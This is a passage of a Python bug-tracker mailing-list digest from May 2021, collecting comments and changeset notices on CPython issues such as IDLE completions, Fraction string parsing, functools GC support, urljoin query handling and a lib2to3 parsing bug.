+0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622183984.61.0.749230757715.issue41611@roundup.psfhosted.org> Tal Einat added the comment: New changeset 448abe8d8bcfdf50a5ecae1196199da46bdfed04 by Miss Islington (bot) in branch '3.10': bpo-41611: IDLE: Catch TclError exceptions in AutoCompleteWindow.winconfig_event() (GH-26404) https://github.com/python/cpython/commit/448abe8d8bcfdf50a5ecae1196199da46bdfed04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:40:02 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 06:40:02 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622184002.58.0.545436073278.issue41611@roundup.psfhosted.org> Tal Einat added the comment: New changeset 21a56a4bce186cd19a50502d2de5117551616005 by Miss Islington (bot) in branch '3.9': bpo-41611: IDLE: Catch TclError exceptions in AutoCompleteWindow.winconfig_event() (GH-26404) https://github.com/python/cpython/commit/21a56a4bce186cd19a50502d2de5117551616005 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:42:26 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 06:42:26 +0000 Subject: [issue41611] IDLE: problems with completions on Mac In-Reply-To: <1598032297.66.0.655712746709.issue41611@roundup.psfhosted.org> Message-ID: <1622184146.73.0.502363027143.issue41611@roundup.psfhosted.org> Tal Einat added the comment: Both the original bug reported here, and the bug whereby completion could cause IDLE to freeze on macOS, have been fixed and backported to 3.10 and 3.9. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 02:48:14 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 06:48:14 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string In-Reply-To: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org> Message-ID: <1622184494.47.0.0823959623181.issue44258@roundup.psfhosted.org> Mark Dickinson added the comment: +1 to the idea: `Decimal`, `float`, `complex` and `int` all understand the underscores; there's no good reason for `Fraction` not to. So yes please to the PR. There should be tests that check that only the underscore rules allowed by `int` and the others are supported: e.g., `Fraction("1__2")`, and `Fraction("1_2_")` should be errors. ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:10:52 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 07:10:52 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622185852.04.0.734650606368.issue44256@roundup.psfhosted.org> Inada Naoki added the comment: New changeset 35be1f3602c8c66199d8c0a2f2805115864235fb by Miss Islington (bot) in branch '3.10': bpo-44256: Do not expose _functools._list_elem_type (GH-26416) https://github.com/python/cpython/commit/35be1f3602c8c66199d8c0a2f2805115864235fb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:12:11 2021 From: report at bugs.python.org (Inada Naoki) Date: Fri, 28 May 2021 07:12:11 +0000 Subject: [issue44256] _functools._lru_list_elem is exposed unintentionally. In-Reply-To: <1622165866.57.0.738221495914.issue44256@roundup.psfhosted.org> Message-ID: <1622185931.74.0.739180221631.issue44256@roundup.psfhosted.org> Change by Inada Naoki : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:20:52 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 07:20:52 +0000 Subject: [issue23937] IDLE: revise window size, placement startup options In-Reply-To: <1428955532.11.0.740629698052.issue23937@psf.upfronthosting.co.za> Message-ID: <1622186452.77.0.731411287913.issue23937@roundup.psfhosted.org> Tal Einat added the comment: > There is a subtle issue easy to not notice. Scrolling is slightly different when the window height an integral number of lines, as it now is on startup, or pixels, as after resizing with zoom or mouse grab. I believe 'lines' is enough better that I have considered snapping to 'lines' after changes. Not now though. This is mostly a separate issue. I certainly think that scrolling should be consistent, independent of whether the window show a whole or fractional number of lines. Terry, is there an issue open about that or shall we open one? > The Settings dialog height is currently determined by the General tab. It is already too high for some notebooks: on my macbook, I can barely click OK (with 'OK' not visible) *after* putting the app bar on the side rather than bottom. We need to squeeze existing items rather than add another. This is entirely separate. It has been mentioned before, but again I'm not aware of an existing issue specifically about this. If there isn't one, let's create one and discuss there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:22:23 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 07:22:23 +0000 Subject: [issue23937] IDLE: revise window size, placement startup options In-Reply-To: <1428955532.11.0.740629698052.issue23937@psf.upfronthosting.co.za> Message-ID: <1622186543.71.0.0274776592131.issue23937@roundup.psfhosted.org> Tal Einat added the comment: > When I changed the title, I intended to broaden the issue beyond 'start maximized'. Even for that, there are two possibilities. 1. Configure option (default as now). 2. Save 'current' position, which helps non-maximizers also. So I am inclined to the latter with some definition of current. Ah, now I understand better, thanks for the clarification. I currently consider this is a rather low priority. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:24:04 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Fri, 28 May 2021 07:24:04 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string In-Reply-To: <1622180851.71.0.222300329356.issue44258@roundup.psfhosted.org> Message-ID: <1622186644.63.0.864647896357.issue44258@roundup.psfhosted.org> Change by Sergey B Kirpichev : ---------- pull_requests: +25017 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26422 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 03:28:35 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Fri, 28 May 2021 07:28:35 +0000 Subject: [issue44258] Support PEP 515 for Fraction's initialization from string In-Reply-To: <1622184494.47.0.0823959623181.issue44258@roundup.psfhosted.org> Message-ID: Sergey B Kirpichev added the comment: On Fri, May 28, 2021 at 06:48:14AM +0000, Mark Dickinson wrote: > So yes please to the PR. There should be tests that check that only the > underscore rules allowed by `int` and the others are supported: e.g., > `Fraction("1__2")`, and `Fraction("1_2_")` should be errors. Ok, I did. In the initial version I catch int()'s exceptions to return a correct exception details. Maybe it's better to fix the regexp instead (don't match "wrong" strings). I think this might be more complicated for readers... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 04:25:02 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 28 May 2021 08:25:02 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622190302.53.0.620077884701.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +25018 pull_request: https://github.com/python/cpython/pull/26423 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 04:34:58 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 28 May 2021 08:34:58 +0000 Subject: [issue43413] tuple subclasses allow arbitrary kwargs In-Reply-To: <1614994631.23.0.248202692536.issue43413@roundup.psfhosted.org> Message-ID: <1622190898.94.0.418105539657.issue43413@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka versions: +Python 3.11 -Python 3.10, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 04:41:45 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 08:41:45 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622191305.58.0.659699877073.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 8994e9c2cd775ddf7b0723824da53fe0d7c039ac by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for functools keywrapper and partial types (GH-26363) https://github.com/python/cpython/commit/8994e9c2cd775ddf7b0723824da53fe0d7c039ac ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 04:41:26 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 08:41:26 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622191286.5.0.844383151753.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25019 pull_request: https://github.com/python/cpython/pull/26424 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 04:54:25 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 May 2021 08:54:25 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1622192065.12.0.288177229804.issue44206@roundup.psfhosted.org> Mark Shannon added the comment: New changeset f8a95df84bcedebc0aa7132b3d1a4e8f000914bc by Mark Shannon in branch 'main': bpo-44206: Add a version number to dictionary keys (GH-26333) https://github.com/python/cpython/commit/f8a95df84bcedebc0aa7132b3d1a4e8f000914bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:02:50 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 09:02:50 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622192570.6.0.813139024328.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 3f8d33252722750e6c019d3df7ce0fabf7bdd45e by Erlend Egeberg Aasland in branch 'main': bpo-42972: Fully implement GC protocol for functools LRU cache (GH-26423) https://github.com/python/cpython/commit/3f8d33252722750e6c019d3df7ce0fabf7bdd45e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:02:51 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 09:02:51 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622192571.2.0.881659763888.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25020 pull_request: https://github.com/python/cpython/pull/26425 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:06:53 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 09:06:53 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622192813.18.0.13747262484.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 0fa282c55f1a45765340cb24ed65c90ffe2aa405 by Ken Jin in branch 'main': bpo-42972: Fully support GC for _winapi.Overlapped (GH-26381) https://github.com/python/cpython/commit/0fa282c55f1a45765340cb24ed65c90ffe2aa405 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:06:54 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 09:06:54 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622192814.41.0.278271155037.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25021 pull_request: https://github.com/python/cpython/pull/26426 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:08:05 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 09:08:05 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622192885.15.0.432124053924.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: New changeset eb8ab04dd7fe6bb9a4eefb5e60d7b6ca887e0148 by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for functools keywrapper and partial types (GH-26363) (GH-26424) https://github.com/python/cpython/commit/eb8ab04dd7fe6bb9a4eefb5e60d7b6ca887e0148 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:42:15 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 09:42:15 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622194935.49.0.674643896378.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25022 pull_request: https://github.com/python/cpython/pull/26427 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 05:52:36 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 09:52:36 +0000 Subject: [issue32779] urljoining an empty query string doesn't clear query string In-Reply-To: <1517892529.44.0.467229070634.issue32779@psf.upfronthosting.co.za> Message-ID: <1622195556.64.0.558016084707.issue32779@roundup.psfhosted.org> Irit Katriel added the comment: The relevant part in the RFC pseudo code is if defined(R.query) then T.query = R.query; else T.query = Base.query; endif; which is implemented in urljoin as: if not query: query = bquery Is this correct? Should the code not say "if query is not None"? (I can't see in the RFC a definition of defined()). ---------- nosy: +iritkatriel versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 06:00:15 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 10:00:15 +0000 Subject: [issue32779] urljoining an empty query string doesn't clear query string In-Reply-To: <1517892529.44.0.467229070634.issue32779@psf.upfronthosting.co.za> Message-ID: <1622196015.55.0.490020037599.issue32779@roundup.psfhosted.org> Irit Katriel added the comment: Sorry, urlparse returns '' rather than None when there is no query. So we indeed need to check something like if '?' not in url: or what's in Paul's patch. However, my main point was to question whether fixing this is actually in contradiction with the RFC. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 06:19:27 2021 From: report at bugs.python.org (Mulugruntz) Date: Fri, 28 May 2021 10:19:27 +0000 Subject: [issue44259] lib2to3 does not accept "exec" as name Message-ID: <1622197167.25.0.926188011866.issue44259@roundup.psfhosted.org> New submission from Mulugruntz : I was trying to use https://github.com/NiklasRosenstein/pydoc-markdown to generate some doc for https://github.com/Mulugruntz/aiosubprocess It was failing and for a while I thought I was doing something wrong. But when I did dig deeper, I realized that it was failing because I has a method named "exec". The reason why I want to use "exec" is to make it obvious whether I'm executing the subprocess in shell mode or not (there's also a "shell" method). As we can see here https://docs.python.org/3.9/reference/lexical_analysis.html#keywords "exec" is not reserved. Moreover, it's pretty counterintuitive that the code parses and runs correctly (cpython 3.9.5) but the lib2to3 parser crashes. See below a working example: ```python from lib2to3 import pygram, pytree from lib2to3.pgen2 import driver from lib2to3.pgen2.parse import ParseError grammar = pygram.python_grammar.copy() driver = driver.Driver(grammar, convert=pytree.convert) strings = [ "def fname(): pass", "def exec(): pass", """ class C: def exec(self): pass""", ] for s in strings: try: driver.parse_string(s + '\n') except ParseError as pe: print("It fails:", s) else: print("It works:", s) ``` ```shell It works: def fname(): pass It fails: def exec(): pass It fails: class C: def exec(self): pass ``` ---------- components: 2to3 (2.x to 3.x conversion tool) messages: 394650 nosy: mulugruntz priority: normal severity: normal status: open title: lib2to3 does not accept "exec" as name type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 07:34:35 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 May 2021 11:34:35 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622201675.82.0.901641074576.issue42972@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +25023 pull_request: https://github.com/python/cpython/pull/26429 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 07:55:41 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 11:55:41 +0000 Subject: [issue3702] test_urllib2.test_trivial fails when run from another Windows drive In-Reply-To: <1219845702.82.0.0720973084926.issue3702@psf.upfronthosting.co.za> Message-ID: <1622202941.5.0.550690487487.issue3702@roundup.psfhosted.org> Irit Katriel added the comment: This was fixed under issue7648. ---------- nosy: +iritkatriel resolution: -> duplicate stage: test needed -> resolved status: open -> closed superseder: -> test_urllib2 fails on Windows if not run from C: _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:02:05 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 May 2021 12:02:05 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622203325.65.0.563122284767.issue42972@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +25024 pull_request: https://github.com/python/cpython/pull/26430 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:03:28 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 12:03:28 +0000 Subject: [issue32915] Running Python 2 with -3 flag doesn't complain about cmp/__cmp__ In-Reply-To: <1519342915.53.0.467229070634.issue32915@psf.upfronthosting.co.za> Message-ID: <1622203408.18.0.278120140632.issue32915@roundup.psfhosted.org> Irit Katriel added the comment: We're not going to make changes in python 2 anymore, so this can be closed, right? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:06:47 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 12:06:47 +0000 Subject: [issue32082] atexit module: allow getting/setting list of handlers directly In-Reply-To: <1511171681.08.0.213398074469.issue32082@psf.upfronthosting.co.za> Message-ID: <1622203607.73.0.797928031549.issue32082@roundup.psfhosted.org> Mark Dickinson added the comment: You say "for testing purposes only", but I'd add "for debugging" to the list of use-cases, having just spent a few hours trying to understand why I was getting a particular PySide2 "Internal C++ object already deleted." exception under Python 3.6 but not under Python 3.7 and later. [*] Even just making the list of exit handlers introspectable (so just _get_exitfuncs()) would have been really useful in diagnosing the issue faster. [*] The answer turned out to be that under Python 3.6 the PySide2 exit handler was being run before the concurrent.futures thread-cleanup exit handler, while on Python 3.7, for obscure reasons, the exit handlers were being registered in the reverse order. To discover this, I ended up resorting to the elegant hack (if that's not a contradiction in terms) described in https://stackoverflow.com/a/63029332/270986 ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:10:27 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 May 2021 12:10:27 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622203827.72.0.190139881634.issue44252@roundup.psfhosted.org> Ken Jin added the comment: Sorry, I introduced the test_httplib regression on Windows with GH-26381 commit 0fa282c55f1a45765340cb24ed65c90ffe2aa405. I made a second PR GH-26429 to fix it. ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:17:37 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 May 2021 12:17:37 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622204257.6.0.197296405253.issue44252@roundup.psfhosted.org> Ken Jin added the comment: Oops, nevermind I mixed the issues up, please ignore the previous message. The regression I introduced in main was a related assertionerror in test_httplib but doesn't affect 3.10. 3.10 still fails randomly for unknown reasons. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:22:05 2021 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 28 May 2021 12:22:05 +0000 Subject: [issue32596] Lazy import concurrent.futures.process and thread In-Reply-To: <1516359250.47.0.467229070634.issue32596@psf.upfronthosting.co.za> Message-ID: <1622204525.87.0.871399559432.issue32596@roundup.psfhosted.org> Change by Mark Dickinson : ---------- nosy: +mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 08:25:04 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 12:25:04 +0000 Subject: [issue23833] email.header.Header folding modifies headers that include semi-colons In-Reply-To: <1427840786.4.0.777280344269.issue23833@psf.upfronthosting.co.za> Message-ID: <1622204704.44.0.0520901681799.issue23833@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 09:10:08 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 13:10:08 +0000 Subject: [issue38575] Child process deadlock in subprocess.Popen In-Reply-To: <1571902719.3.0.191965904237.issue38575@roundup.psfhosted.org> Message-ID: <1622207408.02.0.67428373496.issue38575@roundup.psfhosted.org> Irit Katriel added the comment: Python 2.7 is no longer supported and the code of subprocess has been changed a lot compared to what shows up in your traceback. Please create a new issue if you still see this problem in Python 3.9+. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 09:14:49 2021 From: report at bugs.python.org (Aaron Gallagher) Date: Fri, 28 May 2021 13:14:49 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1622207689.28.0.268813005587.issue14965@roundup.psfhosted.org> Aaron Gallagher <_ at habnab.it> added the comment: @daniel.urban would you kindly resubmit your patch as a PR to the cpython repo? I've learned out-of-band from someone else that putting patches on bpo is considered obsolete. you can use the PR I've submitted (https://github.com/python/cpython/pull/26194) and reset the author. I'd be happy to do it myself (giving you a branch that's all set up, so all you need to do is click the 'new PR' button) if you tell me what to set the author to. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 09:15:38 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 13:15:38 +0000 Subject: [issue26952] argparse help formatter raises IndexError In-Reply-To: <1462374887.67.0.462060112057.issue26952@psf.upfronthosting.co.za> Message-ID: <1622207738.7.0.448655089726.issue26952@roundup.psfhosted.org> Change by Irit Katriel : ---------- title: argparse help formatter crashes -> argparse help formatter raises IndexError versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 09:39:39 2021 From: report at bugs.python.org (Dominic Davis-Foster) Date: Fri, 28 May 2021 13:39:39 +0000 Subject: [issue44246] 3.10 beta 1: breaking change in importlib.metadata entry points In-Reply-To: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org> Message-ID: <1622209179.75.0.209470557262.issue44246@roundup.psfhosted.org> Change by Dominic Davis-Foster : ---------- nosy: +domdfcoding _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 09:58:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 13:58:46 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622210326.88.0.91953585505.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: I'm not fully satisfied by the implementation of the two LRU types in functools. See the discussion in these two PRs: https://github.com/python/cpython/pull/26363 https://github.com/python/cpython/pull/26423 The _lru_list_elem doesnt implement the GC protocol for performance reasons: * https://bugs.python.org/issue32422 * https://github.com/python/cpython/pull/5008/files But I'm not sure if it's ok that _lru_list_elem doesn't implement the GC protocol: it's disucssion in this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:01:56 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 14:01:56 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622210516.72.0.93341000845.issue42972@roundup.psfhosted.org> STINNER Victor added the comment: I'm not fully satified by the overlapped_dealloc() implementation neither. There is an unpleasant code path for Windows XP but it's no longer needed in Python 3.11. I would prefer to always call PyObject_GC_UnTrack() and call it earlier. See the dicsussion in the PR: https://github.com/python/cpython/pull/26381 But it can be modified later. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:09:16 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 14:09:16 +0000 Subject: [issue12480] urllib2 doesn't use proxy (fieddler2), configed the proxy with ProxyHandler In-Reply-To: <1309706172.79.0.961224445373.issue12480@psf.upfronthosting.co.za> Message-ID: <1622210956.7.0.363213513807.issue12480@roundup.psfhosted.org> Irit Katriel added the comment: I think the problem is still there: https://github.com/python/cpython/blame/bb3e0c240bc60fe08d332ff5955d54197f79751c/Lib/urllib/request.py#L2746 if proxyOverride ends with a ';' then the last "" is considered a match for any val in host. ---------- components: -Extension Modules nosy: +iritkatriel, paul.moore, steve.dower, tim.golden, zach.ware type: -> behavior versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:10:01 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 14:10:01 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622211001.82.0.320133405099.issue42972@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25025 pull_request: https://github.com/python/cpython/pull/26431 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:18:23 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 28 May 2021 14:18:23 +0000 Subject: [issue32592] Drop support of Windows Vista and Windows 7 In-Reply-To: <1516268238.05.0.467229070634.issue32592@psf.upfronthosting.co.za> Message-ID: <1622211503.31.0.477585827062.issue32592@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 14.0 -> 15.0 pull_requests: +25026 pull_request: https://github.com/python/cpython/pull/26429 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:19:01 2021 From: report at bugs.python.org (Mark Shannon) Date: Fri, 28 May 2021 14:19:01 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1622211541.01.0.207648103465.issue44206@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +25027 pull_request: https://github.com/python/cpython/pull/26432 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:21:04 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 14:21:04 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622211664.32.0.540692187401.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Ken Jin: "Sorry, I introduced the test_httplib regression on Windows with GH-26381 commit 0fa282c55f1a45765340cb24ed65c90ffe2aa405. I made a second PR GH-26429 to fix it." That would help to fix the issue, sadly the crash is earlier to your PR merge, and test_httplib doesn't use asyncio. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:26:24 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 14:26:24 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1622211984.23.0.396688893346.issue42972@roundup.psfhosted.org> miss-islington added the comment: New changeset 1c0106ca8c72d671ad4e2b553489d786d06fce03 by Miss Islington (bot) in branch '3.10': bpo-42972: Fully implement GC protocol for functools LRU cache (GH-26423) https://github.com/python/cpython/commit/1c0106ca8c72d671ad4e2b553489d786d06fce03 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:27:28 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 28 May 2021 14:27:28 +0000 Subject: [issue44260] _Random.seed() is called twice Message-ID: <1622212048.99.0.121842396012.issue44260@roundup.psfhosted.org> New submission from Serhiy Storchaka : _Random.seed() is called twice: first it is called in _Random.__new__(), then it is called in Random.__init__(). By default it reads system enthropy, so it consumes global system resource without need. ---------- components: Extension Modules messages: 394663 nosy: mark.dickinson, rhettinger, serhiy.storchaka priority: normal severity: normal status: open title: _Random.seed() is called twice _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 10:36:47 2021 From: report at bugs.python.org (Paul Fisher) Date: Fri, 28 May 2021 14:36:47 +0000 Subject: [issue32779] urljoining an empty query string doesn't clear query string In-Reply-To: <1517892529.44.0.467229070634.issue32779@psf.upfronthosting.co.za> Message-ID: 